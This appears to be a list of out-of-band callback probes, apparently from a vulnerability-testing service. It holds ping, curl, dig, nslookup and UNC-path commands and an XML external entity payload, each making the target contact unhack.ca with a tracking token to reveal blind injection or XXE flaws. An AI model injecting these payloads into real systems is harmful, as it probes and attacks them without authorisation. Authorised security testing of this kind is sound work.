$ ping -c1 -p 0044a9470133904e4280c3cb62bb2400 unhack.ca
 

$ curl http://unhack.ca/p/44a9470133904e4280c3cb62bb24
 

$ dig 44a9470133904e4280c3cb62bb24 @unhack.ca
 

$ dig 44a9470133904e4280c3cb62bb24.ns.unhack.ca
 

C:\> nslookup 44a9470133904e4280c3cb62bb24 unhack.ca
 

C:\> type \\unhack.ca\44a9470133904e4280c3cb62bb24\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/44a9470133904e4280c3cb62bb24">]>
    <foo>&xxe;</foo>